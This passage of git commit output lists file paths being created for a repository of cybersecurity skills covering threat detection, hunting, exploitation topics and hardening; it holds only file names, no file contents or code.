skills/detecting-kerberoasting-attacks/scripts/process.py create mode 100644 skills/detecting-lateral-movement-in-network/SKILL.md create mode 100644 skills/detecting-lateral-movement-with-splunk/SKILL.md create mode 100644 skills/detecting-lateral-movement-with-splunk/assets/template.md create mode 100644 skills/detecting-lateral-movement-with-splunk/references/standards.md create mode 100644 skills/detecting-lateral-movement-with-splunk/references/workflows.md create mode 100644 skills/detecting-lateral-movement-with-splunk/scripts/process.py create mode 100644 skills/detecting-mimikatz-execution-patterns/SKILL.md create mode 100644 skills/detecting-mimikatz-execution-patterns/assets/template.md create mode 100644 skills/detecting-mimikatz-execution-patterns/references/standards.md create mode 100644 skills/detecting-mimikatz-execution-patterns/references/workflows.md create mode 100644 skills/detecting-mimikatz-execution-patterns/scripts/process.py create mode 100644 skills/detecting-misconfigured-azure-storage/SKILL.md create mode 100644 skills/detecting-mobile-malware-behavior/SKILL.md create mode 100644 skills/detecting-mobile-malware-behavior/assets/template.md create mode 100644 skills/detecting-mobile-malware-behavior/references/standards.md create mode 100644 skills/detecting-mobile-malware-behavior/references/workflows.md create mode 100644 skills/detecting-mobile-malware-behavior/scripts/process.py create mode 100644 skills/detecting-modbus-command-injection-attacks/SKILL.md create mode 100644 skills/detecting-modbus-protocol-anomalies/SKILL.md create mode 100644 skills/detecting-network-anomalies-with-zeek/SKILL.md create mode 100644 skills/detecting-network-scanning-with-ids-signatures/SKILL.md create mode 100644 skills/detecting-pass-the-hash-attacks/SKILL.md create mode 100644 skills/detecting-pass-the-hash-attacks/assets/template.md create mode 100644 skills/detecting-pass-the-hash-attacks/references/standards.md create mode 100644 skills/detecting-pass-the-hash-attacks/references/workflows.md create mode 100644 skills/detecting-pass-the-hash-attacks/scripts/process.py create mode 100644 skills/detecting-port-scanning-with-fail2ban/SKILL.md create mode 100644 skills/detecting-privilege-escalation-attempts/SKILL.md create mode 100644 skills/detecting-privilege-escalation-attempts/assets/template.md create mode 100644 skills/detecting-privilege-escalation-attempts/references/standards.md create mode 100644 skills/detecting-privilege-escalation-attempts/references/workflows.md create mode 100644 skills/detecting-privilege-escalation-attempts/scripts/process.py create mode 100644 skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md create mode 100644 skills/detecting-privilege-escalation-in-kubernetes-pods/assets/template.md create mode 100644 skills/detecting-privilege-escalation-in-kubernetes-pods/references/standards.md create mode 100644 skills/detecting-privilege-escalation-in-kubernetes-pods/references/workflows.md create mode 100644 skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/process.py create mode 100644 skills/detecting-process-hollowing-technique/SKILL.md create mode 100644 skills/detecting-process-hollowing-technique/assets/template.md create mode 100644 skills/detecting-process-hollowing-technique/references/standards.md create mode 100644 skills/detecting-process-hollowing-technique/references/workflows.md create mode 100644 skills/detecting-process-hollowing-technique/scripts/process.py create mode 100644 skills/detecting-process-injection-techniques/SKILL.md create mode 100644 skills/detecting-qr-code-phishing-with-email-security/SKILL.md create mode 100644 skills/detecting-qr-code-phishing-with-email-security/assets/template.md create mode 100644 skills/detecting-qr-code-phishing-with-email-security/references/standards.md create mode 100644 skills/detecting-qr-code-phishing-with-email-security/references/workflows.md create mode 100644 skills/detecting-qr-code-phishing-with-email-security/scripts/process.py create mode 100644 skills/detecting-ransomware-precursors-in-network/SKILL.md create mode 100644 skills/detecting-ransomware-precursors-in-network/assets/template.md create mode 100644 skills/detecting-ransomware-precursors-in-network/references/standards.md create mode 100644 skills/detecting-ransomware-precursors-in-network/references/workflows.md create mode 100644 skills/detecting-ransomware-precursors-in-network/scripts/process.py create mode 100644 skills/detecting-rootkit-activity/SKILL.md create mode 100644 skills/detecting-s3-data-exfiltration-attempts/SKILL.md create mode 100644 skills/detecting-service-account-abuse/SKILL.md create mode 100644 skills/detecting-service-account-abuse/assets/template.md create mode 100644 skills/detecting-service-account-abuse/references/standards.md create mode 100644 skills/detecting-service-account-abuse/references/workflows.md create mode 100644 skills/detecting-service-account-abuse/scripts/process.py create mode 100644 skills/detecting-shadow-api-endpoints/SKILL.md create mode 100644 skills/detecting-spearphishing-with-email-gateway/SKILL.md create mode 100644 skills/detecting-spearphishing-with-email-gateway/assets/template.md create mode 100644 skills/detecting-spearphishing-with-email-gateway/references/standards.md create mode 100644 skills/detecting-spearphishing-with-email-gateway/references/workflows.md create mode 100644 skills/detecting-spearphishing-with-email-gateway/scripts/process.py create mode 100644 skills/detecting-stuxnet-style-attacks/SKILL.md create mode 100644 skills/detecting-suspicious-powershell-execution/SKILL.md create mode 100644 skills/detecting-suspicious-powershell-execution/assets/template.md create mode 100644 skills/detecting-suspicious-powershell-execution/references/standards.md create mode 100644 skills/detecting-suspicious-powershell-execution/references/workflows.md create mode 100644 skills/detecting-suspicious-powershell-execution/scripts/process.py create mode 100644 skills/detecting-t1003-credential-dumping-with-edr/SKILL.md create mode 100644 skills/detecting-t1003-credential-dumping-with-edr/assets/template.md create mode 100644 skills/detecting-t1003-credential-dumping-with-edr/references/standards.md create mode 100644 skills/detecting-t1003-credential-dumping-with-edr/references/workflows.md create mode 100644 skills/detecting-t1003-credential-dumping-with-edr/scripts/process.py create mode 100644 skills/detecting-t1055-process-injection-with-sysmon/SKILL.md create mode 100644 skills/detecting-t1055-process-injection-with-sysmon/assets/template.md create mode 100644 skills/detecting-t1055-process-injection-with-sysmon/references/standards.md create mode 100644 skills/detecting-t1055-process-injection-with-sysmon/references/workflows.md create mode 100644 skills/detecting-t1055-process-injection-with-sysmon/scripts/process.py create mode 100644 skills/detecting-t1548-abuse-elevation-control-mechanism/SKILL.md create mode 100644 skills/detecting-t1548-abuse-elevation-control-mechanism/assets/template.md create mode 100644 skills/detecting-t1548-abuse-elevation-control-mechanism/references/standards.md create mode 100644 skills/detecting-t1548-abuse-elevation-control-mechanism/references/workflows.md create mode 100644 skills/detecting-t1548-abuse-elevation-control-mechanism/scripts/process.py create mode 100644 skills/eradicating-malware-from-infected-systems/SKILL.md create mode 100644 skills/eradicating-malware-from-infected-systems/assets/template.md create mode 100644 skills/eradicating-malware-from-infected-systems/references/standards.md create mode 100644 skills/eradicating-malware-from-infected-systems/references/workflows.md create mode 100644 skills/eradicating-malware-from-infected-systems/scripts/process.py create mode 100644 skills/evaluating-threat-intelligence-platforms/SKILL.md create mode 100644 skills/executing-active-directory-attack-simulation/SKILL.md create mode 100644 skills/executing-diamond-model-analysis/SKILL.md create mode 100644 skills/executing-phishing-simulation-campaign/SKILL.md create mode 100644 skills/executing-red-team-engagement-planning/SKILL.md create mode 100644 skills/executing-red-team-engagement-planning/assets/template.md create mode 100644 skills/executing-red-team-engagement-planning/references/standards.md create mode 100644 skills/executing-red-team-engagement-planning/references/workflows.md create mode 100644 skills/executing-red-team-engagement-planning/scripts/process.py create mode 100644 skills/executing-red-team-exercise/SKILL.md create mode 100644 skills/exploiting-active-directory-certificate-services-esc1/SKILL.md create mode 100644 skills/exploiting-active-directory-certificate-services-esc1/assets/template.md create mode 100644 skills/exploiting-active-directory-certificate-services-esc1/references/standards.md create mode 100644 skills/exploiting-active-directory-certificate-services-esc1/references/workflows.md create mode 100644 skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py create mode 100644 skills/exploiting-active-directory-with-bloodhound/SKILL.md create mode 100644 skills/exploiting-active-directory-with-bloodhound/assets/template.md create mode 100644 skills/exploiting-active-directory-with-bloodhound/references/standards.md create mode 100644 skills/exploiting-active-directory-with-bloodhound/references/workflows.md create mode 100644 skills/exploiting-active-directory-with-bloodhound/scripts/process.py create mode 100644 skills/exploiting-api-injection-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-broken-function-level-authorization/SKILL.md create mode 100644 skills/exploiting-broken-link-hijacking/SKILL.md create mode 100644 skills/exploiting-constrained-delegation-abuse/SKILL.md create mode 100644 skills/exploiting-constrained-delegation-abuse/references/standards.md create mode 100644 skills/exploiting-constrained-delegation-abuse/references/workflows.md create mode 100644 skills/exploiting-deeplink-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-deeplink-vulnerabilities/assets/template.md create mode 100644 skills/exploiting-deeplink-vulnerabilities/references/standards.md create mode 100644 skills/exploiting-deeplink-vulnerabilities/references/workflows.md create mode 100644 skills/exploiting-deeplink-vulnerabilities/scripts/process.py create mode 100644 skills/exploiting-excessive-data-exposure-in-api/SKILL.md create mode 100644 skills/exploiting-http-request-smuggling/SKILL.md create mode 100644 skills/exploiting-idor-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-insecure-data-storage-in-mobile/SKILL.md create mode 100644 skills/exploiting-insecure-data-storage-in-mobile/assets/template.md create mode 100644 skills/exploiting-insecure-data-storage-in-mobile/references/standards.md create mode 100644 skills/exploiting-insecure-data-storage-in-mobile/references/workflows.md create mode 100644 skills/exploiting-insecure-data-storage-in-mobile/scripts/process.py create mode 100644 skills/exploiting-insecure-deserialization/SKILL.md create mode 100644 skills/exploiting-ipv6-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md create mode 100644 skills/exploiting-kerberoasting-with-impacket/SKILL.md create mode 100644 skills/exploiting-kerberoasting-with-impacket/assets/template.md create mode 100644 skills/exploiting-kerberoasting-with-impacket/references/standards.md create mode 100644 skills/exploiting-kerberoasting-with-impacket/references/workflows.md create mode 100644 skills/exploiting-kerberoasting-with-impacket/scripts/process.py create mode 100644 skills/exploiting-mass-assignment-in-rest-apis/SKILL.md create mode 100644 skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md create mode 100644 skills/exploiting-ms17-010-eternalblue-vulnerability/assets/template.md create mode 100644 skills/exploiting-ms17-010-eternalblue-vulnerability/references/standards.md create mode 100644 skills/exploiting-ms17-010-eternalblue-vulnerability/references/workflows.md create mode 100644 skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/process.py create mode 100644 skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md create mode 100644 skills/exploiting-nopac-cve-2021-42278-42287/assets/template.md create mode 100644 skills/exploiting-nopac-cve-2021-42278-42287/references/standards.md create mode 100644 skills/exploiting-nopac-cve-2021-42278-42287/references/workflows.md create mode 100644 skills/exploiting-nopac-cve-2021-42278-42287/scripts/process.py create mode 100644 skills/exploiting-nosql-injection-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-nosql-injection-vulnerabilities/assets/template.md create mode 100644 skills/exploiting-nosql-injection-vulnerabilities/references/standards.md create mode 100644 skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md create mode 100644 skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py create mode 100644 skills/exploiting-oauth-misconfiguration/SKILL.md create mode 100644 skills/exploiting-prototype-pollution-in-javascript/SKILL.md create mode 100644 skills/exploiting-race-condition-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-server-side-request-forgery/SKILL.md create mode 100644 skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.md create mode 100644 skills/exploiting-sql-injection-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-sql-injection-with-sqlmap/SKILL.md create mode 100644 skills/exploiting-template-injection-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-type-juggling-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md create mode 100644 skills/exploiting-vulnerabilities-with-metasploit-framework/assets/template.md create mode 100644 skills/exploiting-vulnerabilities-with-metasploit-framework/references/standards.md create mode 100644 skills/exploiting-vulnerabilities-with-metasploit-framework/references/workflows.md create mode 100644 skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/process.py create mode 100644 skills/exploiting-websocket-vulnerabilities/SKILL.md create mode 100644 skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md create mode 100644 skills/exploiting-zerologon-vulnerability-cve-2020-1472/assets/template.md create mode 100644 skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/standards.md create mode 100644 skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/workflows.md create mode 100644 skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/process.py create mode 100644 skills/extracting-browser-history-artifacts/SKILL.md create mode 100644 skills/extracting-config-from-agent-tesla-rat/SKILL.md create mode 100644 skills/extracting-config-from-agent-tesla-rat/assets/template.md create mode 100644 skills/extracting-config-from-agent-tesla-rat/references/standards.md create mode 100644 skills/extracting-config-from-agent-tesla-rat/references/workflows.md create mode 100644 skills/extracting-credentials-from-memory-dump/SKILL.md create mode 100644 skills/extracting-iocs-from-malware-samples/SKILL.md create mode 100644 skills/extracting-windows-event-logs-artifacts/SKILL.md create mode 100644 skills/generating-threat-intelligence-reports/SKILL.md create mode 100644 skills/hardening-docker-containers-for-production/SKILL.md create mode 100644 skills/hardening-docker-containers-for-production/assets/template.md create mode 100644 skills/hardening-docker-containers-for-production/references/standards.md create mode 100644 skills/hardening-docker-containers-for-production/references/workflows.md create mode 100644 skills/hardening-docker-containers-for-production/scripts/process.py create mode 100644 skills/hardening-docker-daemon-configuration/SKILL.md create mode 100644 skills/hardening-docker-daemon-configuration/assets/template.md create mode 100644 skills/hardening-docker-daemon-configuration/references/standards.md create mode 100644 skills/hardening-docker-daemon-configuration/references/workflows.md create mode 100644 skills/hardening-docker-daemon-configuration/scripts/process.py create mode 100644 skills/hardening-linux-endpoint-with-cis-benchmark/SKILL.md create mode 100644 skills/hardening-linux-endpoint-with-cis-benchmark/assets/template.md create mode 100644 skills/hardening-linux-endpoint-with-cis-benchmark/references/standards.md create mode 100644 skills/hardening-linux-endpoint-with-cis-benchmark/references/workflows.md create mode 100644 skills/hardening-linux-endpoint-with-cis-benchmark/scripts/process.py create mode 100644 skills/hardening-windows-endpoint-with-cis-benchmark/SKILL.md create mode 100644 skills/hardening-windows-endpoint-with-cis-benchmark/assets/template.md create mode 100644 skills/hardening-windows-endpoint-with-cis-benchmark/references/standards.md create mode 100644 skills/hardening-windows-endpoint-with-cis-benchmark/references/workflows.md create mode 100644 skills/hardening-windows-endpoint-with-cis-benchmark/scripts/process.py create mode 100644 skills/hunting-advanced-persistent-threats/SKILL.md create mode 100644 skills/hunting-for-beaconing-with-frequency-analysis/SKILL.md create mode 100644 skills/hunting-for-beaconing-with-frequency-analysis/assets/template.md create mode 100644 skills/hunting-for-beaconing-with-frequency-analysis/references/standards.md create mode 100644 skills/hunting-for-beaconing-with-frequency-analysis/references/workflows.md create mode 100644 skills/hunting-for-beaconing-with-frequency-analysis/scripts/process.py create mode 100644 skills/hunting-for-command-and-control-beaconing/SKILL.md create mode 100644 skills/hunting-for-command-and-control-beaconing/assets/template.md create mode 100644 skills/hunting-for-command-and-control-beaconing/references/standards.md create mode 100644 skills/hunting-for-command-and-control-beaconing/references/workflows.md create mode 100644 skills/hunting-for-command-and-control-beaconing/scripts/process.py create mode 100644 skills/hunting-for-data-exfiltration-indicators/SKILL.md create mode 100644 skills/hunting-for-data-exfiltration-indicators/assets/template.md create mode 100644 skills/hunting-for-data-exfiltration-indicators/references/standards.md create mode 100644 skills/hunting-for-data-exfiltration-indicators/references/workflows.md create mode 100644 skills/hunting-for-data-exfiltration-indicators/scripts/process.py create mode 100644 skills/hunting-for-dns-tunneling-with-zeek/SKILL.md create mode 100644 skills/hunting-for-dns-tunneling-with-zeek/assets/template.md create mode 100644 skills/hunting-for-dns-tunneling-with-zeek/references/standards.md create mode 100644 skills/hunting-for-dns-tunneling-with-zeek/references/workflows.md create mode 100644 skills/hunting-for-dns-tunneling-with-zeek/scripts/process.py create mode 100644 skills/hunting-for-living-off-the-cloud-techniques/SKILL.md create mode 100644 skills/hunting-for-living-off-the-cloud-techniques/assets/template.md create mode 100644 skills/hunting-for-living-off-the-cloud-techniques/references/standards.md create mode 100644 skills/hunting-for-living-off-the-cloud-techniques/references/workflows.md create mode 100644 skills/hunting-for-living-off-the-cloud-techniques/scripts/process.py create mode 100644 skills/hunting-for-living-off-the-land-binaries/SKILL.md create mode 100644 skills/hunting-for-living-off-the-land-binaries/assets/template.md create mode 100644 skills/hunting-for-living-off-the-land-binaries/references/standards.md create mode 100644 skills/hunting-for-living-off-the-land-binaries/references/workflows.md create mode 100644 skills/hunting-for-living-off-the-land-binaries/scripts/process.py create mode 100644 skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md create mode 100644 skills/hunting-for-lolbins-execution-in-endpoint-logs/assets/template.md create mode 100644 skills/hunting-for-lolbins-execution-in-endpoint-logs/references/standards.md create mode 100644 skills/hunting-for-lolbins-execution-in-endpoint-logs/references/workflows.md create mode 100644 skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/process.py create mode 100644 skills/hunting-for-persistence-mechanisms-in-windows/SKILL.md create mode 100644 skills/hunting-for-persistence-mechanisms-in-windows/assets/template.md create mode 100644 skills/hunting-for-persistence-mechanisms-in-windows/references/standards.md create mode 100644 skills/hunting-for-persistence-mechanisms-in-windows/references/workflows.md create mode 100644 skills/hunting-for-persistence-mechanisms-in-windows/scripts/process.py create mode 100644 skills/hunting-for-persistence-via-wmi-subscriptions/SKILL.md create mode 100644 skills/hunting-for-persistence-via-wmi-subscriptions/assets/template.md create mode 100644 skills/hunting-for-persistence-via-wmi-subscriptions/references/standards.md create mode 100644 skills/hunting-for-persistence-via-wmi-subscriptions/references/workflows.md create mode 100644 skills/hunting-for-persistence-via-wmi-subscriptions/scripts/process.py create mode 100644 skills/hunting-for-registry-persistence-mechanisms/SKILL.md create mode 100644 skills/hunting-for-registry-persistence-mechanisms/assets/template.md create mode 100644 skills/hunting-for-registry-persistence-mechanisms/references/standards.md create mode 100644 skills/hunting-for-registry-persistence-mechanisms/references/workflows.md create mode 100644 skills/hunting-for-registry-persistence-mechanisms/scripts/process.py create mode 100644 skills/hunting-for-scheduled-task-persistence/SKILL.md create mode 100644 skills/hunting-for-scheduled-task-persistence/assets/template.md create mode 100644 skills/hunting-for-scheduled-task-persistence/references/standards.md create mode 100644 skills/hunting-for-scheduled-task-persistence/references/workflows.md create mode 100644 skills/hunting-for-scheduled-task-persistence/scripts/process.py create mode 100644 skills/hunting-for-shadow-copy-deletion/SKILL.md create mode 100644 skills/hunting-for-shadow-copy-deletion/assets/template.md create mode 100644 skills/hunting-for-shadow-copy-deletion/references/standards.md create mode 100644 skills/hunting-for-shadow-copy-deletion/references/workflows.md create mode 100644 skills/hunting-for-shadow-copy-deletion/scripts/process.py create mode 100644 skills/hunting-for-spearphishing-indicators/SKILL.md create mode 100644 skills/hunting-for-spearphishing-indicators/assets/template.md create mode 100644 skills/hunting-for-spearphishing-indicators/references/standards.md create mode 100644 skills/hunting-for-spearphishing-indicators/references/workflows.md create mode 100644 skills/hunting-for-spearphishing-indicators/scripts/process.py create mode 100644 skills/hunting-for-supply-chain-compromise/SKILL.md create mode 100644 skills/hunting-for-supply-chain-compromise/assets/template.md create mode 100644 skills/hunting-for-supply-chain-compromise/references/standards.md create mode 100644 skills/hunting-for-supply-chain-compromise/references/workflows.md create mode 100644 skills/hunting-for-supply-chain-compromise/scripts/process.py create mode 100644 skills/hunting-for-suspicious-scheduled-tasks/SKILL.md create mode 100644 skills/hunting-for-suspicious-scheduled-tasks/assets/template.md create mode 100644 skills/hunting-for-suspicious-scheduled-tasks/references/standards.md create mode 100644 skills/hunting-for-suspicious-scheduled-tasks/references/workflows.md create mode 100644 skills/hunting-for-suspicious-scheduled-tasks/scripts/process.py create mode 100644 skills/hunting-for-unusual-network-connections/SKILL.md create mode 100644 skills/hunting-for-unusual-network-connections/assets/template.md create mode 100644 skills/hunting-for-unusual-network-connections/references/standards.md create mode 100644 skills/hunting-for-unusual-network-connections/references/workflows.md create mode 100644 skills/hunting-for-unusual-network-connections/scripts/process.py create mode 100644 skills/hunting-for-webshell-activity/SKILL.md create mode 100644 skills/hunting-for-webshell-activity/assets/template.md create mode 100644 skills/hunting-for-webshell-activity/references/standards.md create mode 100644 skills/hunting-for-webshell-activity/references/workflows.md create mode 100644 skills/hunting-for-webshell-activity/scripts/process.py create mode 100644 skills/implementing-aes-encryption-for-data-at-rest/SKILL.md create mode 100644 skills/implementing-aes-encryption-for-data-at-rest/assets/template.md create mode 100644 skills/implementing-aes-encryption-for-data-at-rest/references/standards.md create mode 100644 skills/implementing-aes-encryption-for-data-at-rest/references/workflows.md create mode 100644 skills/implementing-aes-encryption-for-data-at-rest/scripts/process.py create mode 100644 skills/implementing-alert-fatigue-reduction/SKILL.md create mode 100644 skills/implementing-anti-phishing-training-program/SKILL.md create mode 100644 skills/implementing-anti-phishing-training-program/assets/template.md create mode 100644 skills/implementing-anti-phishing-training-program/references/standards.md create mode 100644 skills/implementing-anti-phishing-training-program/references/workflows.md create mode 100644 skills/implementing-anti-phishing-training-program/scripts/process.py create mode 100644 skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md create mode 100644 skills/implementing-api-gateway-security-controls/SKILL.md create mode 100644 skills/implementing-api-key-security-controls/SKILL.md create mode 100644 skills/implementing-api-rate-limiting-and-throttling/SKILL.md create mode 100644 skills/implementing-api-schema-validation-security/SKILL.md create mode 100644 skills/implementing-api-security-posture-management/SKILL.md create mode 100644 skills/implementing-api-security-testing-with-42crunch/SKILL.md create mode 100644 skills/implementing-api-threat-protection-with-apigee/SKILL.md create mode 100644 skills/implementing-application-whitelisting-with-applocker/SKILL.md create mode 100644 skills/implementing-application-whitelisting-with-applocker/assets/template.md create mode 100644 skills/implementing-application-whitelisting-with-applocker/references/standards.md create mode 100644 skills/implementing-application-whitelisting-with-applocker/references/workflows.md create mode 100644 skills/implementing-application-whitelisting-with-applocker/scripts/process.py create mode 100644 skills/implementing-aqua-security-for-container-scanning/SKILL.md create mode 100644 skills/implementing-aqua-security-for-container-scanning/assets/template.md create mode 100644 skills/implementing-aqua-security-for-container-scanning/references/standards.md create mode 100644 skills/implementing-aqua-security-for-container-scanning/references/workflows.md create mode 100644 skills/implementing-aqua-security-for-container-scanning/scripts/process.py create mode 100644 skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md create mode 100644 skills/implementing-attack-path-analysis-with-xm-cyber/assets/template.md create mode 100644 skills/implementing-attack-path-analysis-with-xm-cyber/references/standards.md create mode 100644 skills/implementing-attack-path-analysis-with-xm-cyber/references/workflows.md create mode 100644 skills/implementing-attack-path-analysis-with-xm-cyber/scripts/process.py create mode 100644 skills/implementing-aws-config-rules-for-compliance/SKILL.md create mode 100644 skills/implementing-aws-iam-permission-boundaries/SKILL.md create mode 100644 skills/implementing-aws-iam-permission-boundaries/assets/template.md create mode 100644 skills/implementing-aws-iam-permission-boundaries/references/standards.md create mode 100644 skills/implementing-aws-iam-permission-boundaries/references/workflows.md create mode 100644 skills/implementing-aws-iam-permission-boundaries/scripts/process.py create mode 100644 skills/implementing-aws-macie-for-data-classification/SKILL.md create mode 100644 skills/implementing-aws-macie-for-data-classification/assets/template.md create mode 100644 skills/implementing-aws-macie-for-data-classification/references/standards.md create mode 100644 skills/implementing-aws-macie-for-data-classification/references/workflows.md create mode 100644 skills/implementing-aws-macie-for-data-classification/scripts/process.py create mode 100644 skills/implementing-aws-security-hub-compliance/SKILL.md create mode 100644 skills/implementing-aws-security-hub/SKILL.md create mode 100644 skills/implementing-azure-ad-privileged-identity-management/SKILL.md create mode 100644 skills/implementing-azure-ad-privileged-identity-management/assets/template.md create mode 100644 skills/implementing-azure-ad-privileged-identity-management/references/standards.md create mode 100644 skills/implementing-azure-ad-privileged-identity-management/references/workflows.md create mode 100644 skills/implementing-azure-ad-privileged-identity-management/scripts/process.py create mode 100644 skills/implementing-azure-defender-for-cloud/SKILL.md create mode 100644 skills/implementing-beyondcorp-zero-trust-access-model/SKILL.md create mode 100644 skills/implementing-beyondcorp-zero-trust-access-model/assets/template.md create mode 100644 skills/implementing-beyondcorp-zero-trust-access-model/references/standards.md create mode 100644 skills/implementing-beyondcorp-zero-trust-access-model/references/workflows.md create mode 100644 skills/implementing-beyondcorp-zero-trust-access-model/scripts/process.py create mode 100644 skills/implementing-bgp-security-with-rpki/SKILL.md create mode 100644 skills/implementing-cisa-zero-trust-maturity-model/SKILL.md create mode 100644 skills/implementing-cisa-zero-trust-maturity-model/assets/template.md create mode 100644 skills/implementing-cisa-zero-trust-maturity-model/references/standards.md create mode 100644 skills/implementing-cisa-zero-trust-maturity-model/references/workflows.md create mode 100644 skills/implementing-cisa-zero-trust-maturity-model/scripts/process.py create mode 100644 skills/implementing-cloud-dlp-for-data-protection/SKILL.md create mode 100644 skills/implementing-cloud-security-posture-management/SKILL.md create mode 100644 skills/implementing-cloud-trail-log-analysis/SKILL.md create mode 100644 skills/implementing-cloud-vulnerability-posture-management/SKILL.md create mode 100644 skills/implementing-cloud-vulnerability-posture-management/assets/template.md create mode 100644 skills/implementing-cloud-vulnerability-posture-management/references/standards.md create mode 100644 skills/implementing-cloud-vulnerability-posture-management/references/workflows.md create mode 100644 skills/implementing-cloud-vulnerability-posture-management/scripts/process.py create mode 100644 skills/implementing-cloud-waf-rules/SKILL.md create mode 100644 skills/implementing-code-signing-for-artifacts/SKILL.md create mode 100644 skills/implementing-code-signing-for-artifacts/assets/template.md create mode 100644 skills/implementing-code-signing-for-artifacts/references/standards.md create mode 100644 skills/implementing-code-signing-for-artifacts/references/workflows.md create mode 100644 skills/implementing-code-signing-for-artifacts/scripts/process.py create mode 100644 skills/implementing-conditional-access-policies-azure-ad/SKILL.md create mode 100644 skills/implementing-conduit-security-for-ot-remote-access/SKILL.md create mode 100644 skills/implementing-container-image-minimal-base-with-distroless/SKILL.md create mode 100644 skills/implementing-container-image-minimal-base-with-distroless/assets/template.md create mode 100644 skills/implementing-container-image-minimal-base-with-distroless/references/standards.md create mode 100644 skills/implementing-container-image-minimal-base-with-distroless/references/workflows.md create mode 100644 skills/implementing-container-image-minimal-base-with-distroless/scripts/process.py create mode 100644 skills/implementing-continuous-security-validation-with-bas/SKILL.md create mode 100644 skills/implementing-continuous-security-validation-with-bas/assets/template.md create mode 100644 skills/implementing-continuous-security-validation-with-bas/references/standards.md create mode 100644 skills/implementing-continuous-security-validation-with-bas/references/workflows.md create mode 100644 skills/implementing-continuous-security-validation-with-bas/scripts/process.py create mode 100644 skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md create mode 100644 skills/implementing-delinea-secret-server-for-pam/SKILL.md create mode 100644 skills/implementing-device-posture-assessment-in-zero-trust/SKILL.md create mode 100644 skills/implementing-device-posture-assessment-in-zero-trust/assets/template.md create mode 100644 skills/implementing-device-posture-assessment-in-zero-trust/references/standards.md create mode 100644 skills/implementing-device-posture-assessment-in-zero-trust/references/workflows.md create mode 100644 skills/implementing-device-posture-assessment-in-zero-trust/scripts/process.py create mode 100644 skills/implementing-diamond-model-analysis/SKILL.md create mode 100644 skills/implementing-diamond-model-analysis/assets/template.md create mode 100644 skills/implementing-diamond-model-analysis/references/standards.md create mode 100644 skills/implementing-diamond-model-analysis/references/workflows.md create mode 100644 skills/implementing-diamond-model-analysis/scripts/process.py create mode 100644 skills/implementing-digital-signatures-with-ed25519/SKILL.md create mode 100644 skills/implementing-digital-signatures-with-ed25519/assets/template.md create mode 100644 skills/implementing-digital-signatures-with-ed25519/references/standards.md create mode 100644 skills/implementing-digital-signatures-with-ed25519/references/workflows.md create mode 100644 skills/implementing-digital-signatures-with-ed25519/scripts/process.py create mode 100644 skills/implementing-disk-encryption-with-bitlocker/SKILL.md create mode 100644 skills/implementing-disk-encryption-with-bitlocker/assets/template.md create mode 100644 skills/implementing-disk-encryption-with-bitlocker/references/standards.md create mode 100644 skills/implementing-disk-encryption-with-bitlocker/references/workflows.md create mode 100644 skills/implementing-disk-encryption-with-bitlocker/scripts/process.py create mode 100644 skills/implementing-dmarc-dkim-spf-email-security/SKILL.md create mode 100644 skills/implementing-dmarc-dkim-spf-email-security/assets/template.md create mode 100644 skills/implementing-dmarc-dkim-spf-email-security/references/standards.md create mode 100644 skills/implementing-dmarc-dkim-spf-email-security/references/workflows.md create mode 100644 skills/implementing-dmarc-dkim-spf-email-security/scripts/process.py create mode 100644 skills/implementing-dragos-platform-for-ot-monitoring/SKILL.md create mode 100644 skills/implementing-email-sandboxing-with-proofpoint/SKILL.md create mode 100644 skills/implementing-email-sandboxing-with-proofpoint/assets/template.md create mode 100644 skills/implementing-email-sandboxing-with-proofpoint/references/standards.md create mode 100644 skills/implementing-email-sandboxing-with-proofpoint/references/workflows.md create mode 100644 skills/implementing-email-sandboxing-with-proofpoint/scripts/process.py create mode 100644 skills/implementing-end-to-end-encryption-for-messaging/SKILL.md create mode 100644 skills/implementing-end-to-end-encryption-for-messaging/assets/template.md create mode 100644 skills/implementing-end-to-end-encryption-for-messaging/references/standards.md create mode 100644 skills/implementing-end-to-end-encryption-for-messaging/references/workflows.md create mode 100644 skills/implementing-end-to-end-encryption-for-messaging/scripts/process.py create mode 100644 skills/implementing-endpoint-dlp-controls/SKILL.md create mode 100644 skills/implementing-endpoint-dlp-controls/assets/template.md create mode 100644 skills/implementing-endpoint-dlp-controls/references/standards.md create mode 100644 skills/implementing-endpoint-dlp-controls/references/workflows.md create mode 100644 skills/implementing-endpoint-dlp-controls/scripts/process.py create mode 100644 skills/implementing-envelope-encryption-with-aws-kms/SKILL.md create mode 100644 skills/implementing-envelope-encryption-with-aws-kms/assets/template.md create mode 100644 skills/implementing-envelope-encryption-with-aws-kms/references/standards.md create mode 100644 skills/implementing-envelope-encryption-with-aws-kms/references/workflows.md create mode 100644 skills/implementing-envelope-encryption-with-aws-kms/scripts/process.py create mode 100644 skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md create mode 100644 skills/implementing-epss-score-for-vulnerability-prioritization/assets/template.md create mode 100644 skills/implementing-epss-score-for-vulnerability-prioritization/references/standards.md create mode 100644 